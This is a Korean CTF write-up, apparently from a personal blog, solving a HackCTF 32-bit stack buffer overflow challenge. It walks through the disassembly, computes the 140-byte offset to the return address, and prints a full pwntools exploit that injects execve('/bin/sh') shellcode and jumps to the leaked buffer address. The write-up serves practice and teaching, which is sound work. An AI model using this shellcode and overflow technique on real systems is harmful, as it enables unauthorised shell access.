[문제]
[풀이]
바이너리를 실행해보면 입력 값에 대해 버퍼에 저장하여 주소와 함께 출력해주는 것을 확인할 수 있다.
주소는 실행할 때마다 바뀌고 있어 버퍼에 대한 값은 pwntool로 받아서 사용해야 할 것 같다.
보호 기법을 확인하니 NX 가 disabled 되어 있어 쉘코드를 작성할 수 있음을 확인할 수 있다.
main 함수를 확인하니 꽤나 긴 흐름을 확인할 수 있었는데, 주요 함수들을 위주로 정리해보면 다음과 같다.
main+61: Data : 출력
main+66: ebp-0x88 주소를 가져옴.
main+76: %s로 문자열을 입력 받을 것을 의미함.
main+83: scanf 함수 호출 -> 사용자의 입력 받음
main+88~232: 주소 값과 함께 사용자가 입력한 문자열을 1바이트 단위로 보여주는 과정
main+238~245: Again (y/n): 출력
main+260~267: 사용자에게 y/n 의 값 입력 받음
main+274: n이라면 main+306으로 이동해 종료함.
main+285: y이라면 main+54로 이동해 다시 문자열 입력 받음.
분석 결과를 토대로 c코드를 유추해보면,
이렇게 생각해볼 수 있겠다.
main함수에서 사용자의 입력 값을 받는 부분에 b를 걸어 다수의 a를 입력한 뒤에 ebp-0x88의 값을 확인하니 입력했던 a들이 존재하는 것을 볼 수 있다.
쉘을 실행할 수 있는 함수나 코드가 존재하지 않기 때문에 쉘코드를 삽입하여 exploit 해야 한다.
입력 값(Data :) 부분에 쉘코드 작성 -> ret 주소까지 dummy 채움 -> ret 주소에 ebp-0x88의 주소 넣어줌
이렇게 알고리즘을 생각해볼 수 있다.
ret 주소를 확인하기 위해서 main+319에 bp를 걸어 확인하니 주소가 0xffffd0fc였다.
ebp-0x88의 주소는 0xffffd070이었으므로 ret까지의 거리는 8C(140) 임을 알 수 있다.
따라서, shellcode(31 byte) + dummy(109 byte) + ret 부분에 ebp-0x88 주소 (0xffffd070) 삽입하면 exploit 할 수 있을 것이다.
그런데, 프로그램을 실행할 때마다 주소가 바뀌었기 때문에 0xffffd070을 사용할 수 없고 pwntool에서 data 를 받을 때 생성된 주소를 받아 이용해야 한다!
이를 바탕으로 exploit 코드를 짜보면 다음과 같다.
1 from pwn import *
2
3 p = remote('ctf.j0n9hyun.xyz', 3006)
4
5 p.recvuntil("Data : ")
6 p.sendline("aaaa")
7
8 buf_add = int(p.recv(10), 16)
9 p.recvuntil("Again (y/n)")
10 p.sendline("y")
11
12 p.recvuntil('Data : ')
13
14 payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
15
16 payload += "A" * 109 + p32(buf_add)
17 p.sendline(payload)
18 p.interactive()
코드를 분석해보면,
5-6: 주소를 확인하기 위해서 아무 값(aaaa)를 보낸다.
8: 서버가 보내는 문자열의 10바이트를 받아, 16진수 형태로 변환해 int형으로 형변환한다.
-> 사용자가 입력 값을 보내면 주소: a a a a 의 형태로 보냄.
-> 우리가 구하고자 하는 것은 주소임
-> 0xAAAAAAAA의 형태이기 때문에 10바이트이고 hex 형태인 것을 알 수 있음.
-> 주소를 문자열로 받아 처리할 수 없기 때문에 int 형으로 형변환을 해줘야 사용할 수 있음.
9-10: 쉘코드를 보내기 위해 Again에서 y를 눌러 초기화 진행
14: 31바이트의 쉘코드
16: ret 까지 dummy와 함께 buf의 주소를 보냄
-> 버퍼에서부터 ret까지 140 바이트 offset 발생
-> shellcode는 31바이트이므로 dummy는 140-31 =109 만큼을 보내줘야 함.
-> 8번 코드에서 받은 주소를 리틀엔디언 형식으로 보내주기 위해 p32() 사용
17-18: payload를 보내고 쉘 실행
작성한 exploit 코드를 실행하면 flag를 획득할 수 있다.
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] BOF_PIE (0) | 2021.07.26 |
---|---|
[HackCTF] Offset (0) | 2021.07.25 |
[HackCTF] x64 Simple_size_BOF 문제 풀이 (0) | 2021.07.17 |
[HackCTF] x64 Buffer Overflow 문제 풀이 (0) | 2021.07.17 |
[HackCTF] 내 버퍼가 흘러넘친다! (0) | 2021.07.17 |